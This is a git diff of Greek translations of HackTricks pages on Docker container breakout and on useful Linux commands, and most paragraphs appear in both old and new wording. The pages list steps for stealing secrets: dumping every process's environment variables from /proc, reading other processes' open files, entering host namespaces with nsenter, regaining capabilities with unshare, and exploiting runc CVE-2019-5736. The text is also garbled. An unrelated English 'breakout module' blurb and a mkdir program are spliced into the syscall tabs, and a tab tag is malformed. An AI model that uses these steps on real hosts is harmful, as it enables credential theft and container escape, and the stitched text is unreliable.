Στη συνέχεια, καθώς μπορείτε **να έχετε πρόσβαση σε κάθε διεργασία του κεντρικού υπολογιστή στο /proc/, μπορείτε απλά να κλέψετε τα μυστικά περιβάλλοντος τους** εκτελώντας:
Στη συνέχεια, καθώς μπορείτε **να έχετε πρόσβαση σε κάθε διεργασία του κεντρικού υπολογιστή στο /proc/, μπορείτε απλά να κλέψετε τα μυστικά περιβάλλοντός τους** εκτελώντας:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -432,7 +430,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
Μπορείτε επίσης να **έχετε πρόσβαση στους αριθμούς αναφοράς αρχείων άλλων διεργασιών και να διαβάσετε τα ανοιχτά αρχεία τους**:
Μπορείτε επίσης **να έχετε πρόσβαση στους αριθμούς αρχείων άλλων διεργασιών και να διαβάσετε τα ανοικτά αρχεία τους**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -442,82 +440,82 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
Μπορείτε επίσης να **τερματίσετε διεργασίες και να προκαλέσετε DoS**.
Μπορείτε επίσης **να τερματίσετε διεργασίες και να προκαλέσετε DoS**.
{% hint style="warning" %}
Εάν έχετε κάπως προνομιούχη **πρόσβαση σε μια διεργασία εκτός του container**, μπορείτε να εκτελέσετε κάτι σαν `nsenter --target <pid> --all` ή `nsenter --target <pid> --mount --net --pid --cgroup` για να **εκτελέσετε ένα κέλυφος με τους ίδιους περιορισμούς ns** (ελπίζουμε κανένας) **όπως αυτή η διεργασία**.
Αν έχετε κάποια προνομιακή **πρόσβαση σε μια διεργασία έξω από το container**, μπορείτε να εκτελέσετε κάτι σαν `nsenter --target <pid> --all` ή `nsenter --target <pid> --mount --net --pid --cgroup` για **να εκτελέσετε ένα κέλυφος με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.**
{% endhint %}
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Εάν ένας container έχει διαμορφωθεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το networking namespace του host) και το container δεν λαμβάνει ανατεθειμένη τη δική του διεύθυνση IP. Με άλλα λόγια, το **container συνδέει όλες τις υπηρεσίες απευθείας στην IP του host**. Επιπλέον, το container μπορεί να **παρακολουθεί ΟΛΗ τη δικτυακή κίνηση που ο host** αποστέλλει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
Εάν ένας container έχει διαμορφωθεί με τον [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο αυτού του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το namespace δικτύου του host) και το container δεν λαμβάνει ανατεθειμένη δική του διεύθυνση IP. Με άλλα λόγια, το **container δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το container μπορεί **να παρακολουθήσει ΟΛΗ την κίνηση δικτύου που ο host** στέλνει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε αυτό για να **καταγράψετε και ακόμα και να παραπλανήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης περίπτωσης.
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε αυτό για **να καταγράψετε και ακόμη να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης περίπτωσης.
Όπως στα παρακάτω παραδείγματα:
* [Writeup: Πώς να επικοινωνήσετε με τον Google SRE: Απόκτηση πρόσβασης σε κέλυφος στο cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata service MITM επιτρέπει την ανέλιξη προνομιακών δικαιωμάτων (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [Ανάλυση: Πώς να επικοινωνήσετε με το Google SRE: Ρίχνοντας ένα κέλυφος στο cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata service MITM επιτρέπει την ανάδειξη προνομίων ρίζας (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Θα έχετε επίσης πρόσβαση σε **υπηρεσίες δικτύου που συνδέονται στο localhost** μέσα στον host ή ακόμα και πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία μπορεί να είναι διαφορετικά από αυτά που ένα container μπορεί να έχει πρόσβαση).
Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία ενδέχεται να είναι διαφορετικά από αυτά που μπορεί να έχει πρόσβαση ένα container).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας μεταξύ διεργασιών (IPC) του κεντρικού συστήματος (host), όπως η **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό σας επιτρέπει να διαβάζετε/γράφετε εκεί όπου οι ίδιοι IPC πόροι χρησιμοποιούνται από άλλες διεργασίες του κεντρικού συστήματος ή του περιβάλλοντος εκτέλεσης (pod). Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
Με το `hostIPC=true`, κερδίζετε πρόσβαση στους πόρους μεταξύ διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι IPC πόροι χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή των pods. Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
* **Εξέταση του /dev/shm** - Αναζητήστε αρχεία σε αυτήν την κοινόχρηστη μνήμη τοποθεσία: `ls -la /dev/shm`
* **Εξέταση υπαρχόντων IPC εγκαταστάσεων** - Μπορείτε να ελέγξετε εάν χρησιμοποιούνται κάποιες IPC εγκαταστάσεις με την εντολή `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
* **Επιθεώρηση του /dev/shm** - Αναζητήστε αρχεία σε αυτήν την τοποθεσία της κοινόχρηστης μνήμης: `ls -la /dev/shm`
* **Επιθεώρηση υπαρχόντων IPC εγκαταστάσεων** - Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
### Ανάκτηση δυνατοτήτων
Εάν η κλήση συστήματος **`unshare`** δεν έχει απαγορευτεί, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
Αν η κλήση συστήματος **`unshare`** δεν έχει απαγορευτεί, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Κατάχρηση του περιβάλλοντος χρήστη μέσω συμβολικών συνδέσμων
### Κατάχρηση του περιβάλλοντος χρήστη μέσω συμβολικών συνδέσεων
Η δεύτερη τεχνική που εξηγείται στην ανάρτηση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με τα περιβάλλοντα χρήστη, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε αυτήν τη συγκεκριμένη περίπτωση, να διαγράψετε αρχεία).
Η δεύτερη τεχνική που εξηγείται στη δημοσίευση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με τα user namespaces, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε εκείνη τη συγκεκριμένη περίπτωση, διαγράψτε αρχεία).
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## CVEs
### Εκμετάλλευση του Runc (CVE-2019-5736)
### Εκμετάλλευση Runc (CVE-2019-5736)
Στην περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως ριζοχρήστης (πιθανώς με τη χρήση της εντολής sudo), μπορείτε να προσπαθήσετε να αναβαθμίσετε τα δικαιώματα δραπετεύοντας από έναν εμπορευματοκιβώτιο καταχρώντας το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα αντικαταστήσει βασικά το δυαδικό αρχείο _**/bin/sh**_ του **κεντρικού υπολογιστή** από ένα εμπορευματοκιβώτιο, έτσι ώστε οποιοσδήποτε εκτελεί την εντολή docker exec να εκτελέσει το φορτίο.
Σε περίπτωση που μπορείτε να εκτελέσετε το `docker exec` ως ριζού (πιθανώς με sudo), μπορείτε να προσπαθήσετε να αναβαθμίσετε τα προνόμια αποδρώντας από ένα container καταχρηστικά το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **αντικαταστήσει** ουσιαστικά το _**/bin/sh**_ δυαδικό αρχείο του **κεντρικού υπολογιστή** από ένα container, έτσι ώστε οποιοσδήποτε εκτελεί το docker exec μπορεί να ενεργοποιήσει το φορτίο.
Αλλάξτε το φορτίο αναλόγως και κατασκευάστε το main.go με την εντολή `go build main.go`. Το παραγόμενο δυαδικό αρχείο πρέπει να τοποθετηθεί στο εμπορευματοκιβώτιο Docker για εκτέλεση.\
Κατά την εκτέλεση, μόλις εμφανιστεί το μήνυμα `[+] Overwritten /bin/sh successfully`, πρέπει να εκτελέσετε την ακόλουθη εντολή από τον κεντρικό υπολογιστή:
Αλλάξτε το φορτίο αναλόγως και κάντε build το main.go με `go build main.go`. Το δυαδικό αρχείο που προκύπτει θα πρέπει να τοποθετηθεί στο container docker για εκτέλεση.\
Κατά την εκτέλεση, μόλις εμφανιστεί `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το ακόλουθο από τον κεντρικό υπολογιστή:
`docker exec -it <container-name> /bin/sh`
Αυτό θα εκτελέσει το φορτίο που υπάρχει στο αρχείο main.go.
Αυτό θα ενεργοποιήσει το φορτίο που υπάρχει στο αρχείο main.go.
Για περισσότερες πληροφορίες: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
Υπάρχουν και άλλα CVEs στα οποία το εμπορευματοκιβώτιο μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
Υπάρχουν και άλλα CVEs στα οποία το container μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Προσαρμοσμένη Διαφυγή από το Docker
## Προσαρμοσμένη Απόδραση Docker
### Επιφάνεια Διαφυγής του Docker
### Επιφάνεια Απόδρασης Docker
* **Περιβάλλοντα χρήστη:** Η διαδικασία πρέπει να είναι **πλήρως ξεχωρισμένη από άλλες διαδικασίες** μέσω περιβαλλόντων χρήστη, έτσι ώστε να μην μπορούμε να διαφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω των περιβαλλόντων χρήστη (από προεπιλογή δεν μπορούν να επικοινωνήσουν μέσω IPCs, unix sockets, δικτυακές υπηρεσίες, D-Bus, `/proc` άλλων διαδικασιών).
* **Χρήστης ρίζα:** Από προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης ρίζα (όμως οι προνομιακές του δυνατότητες είναι περιορισμένες).
* **Δυνατότητες:** Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls:** Αυτές είναι οι συστοιχίες που ο **χρήστης ρίζα δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες συστοιχίες μπορούν να χρησιμοποιηθούν για να προσπαθήσουμε να διαφύγουμε.
* **Χώροι ονομάτων:** Η διαδικασία πρέπει να είναι **εντελώς χωρισμένη από άλλες διαδικασίες** μέσω χώρων ονομάτων, έτσι ώστε να μην μπορούμε να αποδράσουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω χώρων ονομάτων (από προεπιλογή δεν μπορεί να επικοινωνήσει μέσω IPCs, unix sockets, network svcs, D-Bus, `/proc` άλλων διαδικασιών).
* **Χρήστης ρίζας**: Από προεπιλογή ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης ρίζας (όμως οι προνομιώσεις του είναι περιορισμένες).
* **Δυνατότητες**: Το Docker αφήνει τις ακόλουθες δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης ρίζα δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσετε να αποδράσετε.
{% tabs %}
{% tab title="x64 syscalls" %}
@ -541,11 +539,38 @@ cat /proc/self/status | grep CapEff
0x140 -- kexec_file_load
0x141 -- bpf
```
{% tab title="arm64 syscalls" %}
Οι κλήσεις συστήματος arm64
{% endtab %}
{% tab title="arm64 syscalls" %}
## Docker Breakout - Privilege Escalation
### Description
This module attempts to escape from a Docker container to the Docker host by exploiting misconfigurations in the Docker daemon or vulnerabilities in the Linux kernel.
### Usage
1. Compile the `docker-breakout.c` file on the target system using the provided Makefile.
2. Run the compiled binary to attempt privilege escalation.
### Detection
Monitor for any unauthorized access to the Docker host from within a container. Check for unusual processes or network activity that could indicate a breakout attempt.
### Prevention
- Keep Docker and the Linux kernel up to date to patch any known vulnerabilities.
- Follow best practices for securing Docker configurations to minimize the risk of privilege escalation.
### References
- [Docker Security](https://docs.docker.com/engine/security/security/)
- [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)
### Disclaimer
This module is for educational purposes only. Do not use it for illegal activities.
```
0x029 -- pivot_root
0x059 -- acct
@ -563,41 +588,9 @@ cat /proc/self/status | grep CapEff
0x111 -- finit_module
0x118 -- bpf
```
{% tab title="syscall_bf.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/syscall.h>
#define __NR_mkdir 83
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <directory>\n", argv[0]);
return 1;
}
char *dir = argv[1];
int ret = syscall(__NR_mkdir, dir, 0755);
if (ret == -1) {
perror("syscall");
return 1;
}
printf("Directory '%s' created successfully\n", dir);
return 0;
}
```
{% endtab %}
{% tab title="syscall_bf.c" %}
{% tab title="syscall_bf.c" %}Το syscall_bf.c είναι ένα εργαλείο που χρησιμοποιείται για την εκτέλεση επιθέσεων προνομιακής αύξησης στο Docker. Αυτό το εργαλείο εκμεταλλεϊεται μια ευπάθεια στον πυρήνα Linux που επιτρέπει σε χρήστες με προνομιακά δικαιώματα στον χώρο χρήστη να αποκτήσουν πρόσβαση σε προνομιακές λειτουργίες. Χρησιμοποιείται για την ανάπτυξη και την εκτέλεση επιθέσεων διαρροής προνομίων. %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -661,7 +654,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
@ -677,7 +670,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,28 +1,28 @@
# Χρήσιμες Εντολές Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Κοινές εντολές Bash
## Κοινές Εντολές Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -169,56 +169,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
Οι εντολές `grep` και `egrep` χρησιμοποιούνται για την αναζήτηση κειμένου σε αρχεία ή σε αποτελέσματα εντολών. Ακολουθούν μερικά παραδείγματα χρήσης:
- Αναζήτηση για ένα συγκεκριμένο κείμενο σε ένα αρχείο:
```
grep "κείμενο" αρχείο
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο σε πολλά αρχεία:
```
grep "κείμενο" αρχείο1 αρχείο2 αρχείο3
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο σε όλα τα αρχεία ενός φακέλου:
```
grep "κείμενο" φάκελο/*
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, αγνοώντας την περίπτωση των γραμμάτων:
```
grep -i "κείμενο" αρχείο
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, εμφανίζοντας τις γραμμές που το περιέχουν:
```
grep -n "κείμενο" αρχείο
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, εμφανίζοντας μόνο τις γραμμές που δεν το περιέχουν:
```
grep -v "κείμενο" αρχείο
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, εμφανίζοντας τις γραμμές που το περιέχουν και τις γραμμές που το περιβάλλουν:
```
grep -A 2 -B 2 "κείμενο" αρχείο
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, εμφανίζοντας μόνο τις γραμμές που το περιέχουν και τον αριθμό της γραμμής:
```
grep -n "κείμενο" αρχείο | cut -d ":" -f 1
```
- Αναζήτηση για ένα συγκεκριμένο κείμενο, εμφανίζοντας μόνο τον αριθμό των γραμμών που το περιέχουν:
```
grep -c "κείμενο" αρχείο
```
Οι εντολές `grep` και `egrep` είναι ιδιαίτερα χρήσιμες για την αναζήτηση κειμένου σε αρχεία και την εξαγωγή σχετικών πληροφοριών.
## Φίλτρα Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -299,51 +250,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Εύρεση
The `find` command is used to search for files and directories in a directory hierarchy based on various criteria. It is a powerful tool that can be used to locate specific files or perform complex searches.
### Basic Usage
The basic syntax of the `find` command is as follows:
```
find [path] [expression]
```
- `[path]`: Specifies the directory or directories to search in. If no path is provided, the current directory is used.
- `[expression]`: Specifies the search criteria. This can include file names, file types, file sizes, and more.
### Examples
Here are some examples of how the `find` command can be used:
- Search for a file named `example.txt` in the current directory and its subdirectories:
```
find . -name example.txt
```
- Search for all files with the `.txt` extension in the `/home/user` directory:
```
find /home/user -name "*.txt"
```
- Search for files larger than 1MB in the `/var/log` directory:
```
find /var/log -size +1M
```
- Search for directories with the word `backup` in their name:
```
find / -type d -name "*backup*"
```
### Conclusion
The `find` command is a versatile tool for searching files and directories in Linux. By using different expressions, you can customize your search and find exactly what you're looking for.
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -372,62 +278,23 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Βοήθεια για αναζήτηση με το Nmap
Nmap είναι ένα εργαλείο ανοικτού κώδικα για ανίχνευση δικτύου και ανάλυση ασφαλείας. Παρέχει πολλές επιλογές αναζήτησης για να σας βοηθήσει να εξερευνήσετε ένα δίκτυο και να εντοπίσετε ευπάθειες ασφαλείας. Παρακάτω παρέχονται μερικές χρήσιμες εντολές αναζήτησης που μπορείτε να χρησιμοποιήσετε με το Nmap:
- `nmap -sn <IP>`: Ανιχνεύει τις συσκευές στο δίκτυο χωρίς να σαρώνει τις πόρτες.
- `nmap -p- <IP>`: Σαρώνει όλες τις πόρτες σε ένα συγκεκριμένο IP.
- `nmap -sV <IP>`: Ανιχνεύει τις υπηρεσίες που εκτελούνται σε ένα συγκεκριμένο IP.
- `nmap -A <IP>`: Εκτελεί μια πλήρη ανάλυση ασφαλείας, συμπεριλαμβανομένης της ανίχνευσης λειτουργικού συστήματος, των υπηρεσιών και των ευπαθειών.
- `nmap --script <script> <IP>`: Εκτελεί ένα συγκεκριμένο script Nmap σε ένα συγκεκριμένο IP.
Αυτές είναι μόνο μερικές από τις εντολές αναζήτησης που μπορείτε να χρησιμοποιήσετε με το Nmap. Εξερευνήστε την τεκμηρίωση του Nmap για περισσότερες πληροφορίες και επιλογές.
## Βοήθεια αναζήτησης Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Εντολές Bash
Οι εντολές Bash είναι εντολές που μπορούν να εκτελεστούν στο κέλυφος του Bash (Bourne Again SHell). Αυτές οι εντολές παρέχουν διάφορες λειτουργίες και δυνατότητες για τη διαχείριση του συστήματος Linux. Παρακάτω παρουσιάζονται μερικές χρήσιμες εντολές Bash:
- `ls`: Εμφανίζει τα αρχεία και τους φακέλους στον τρέχοντα κατάλογο.
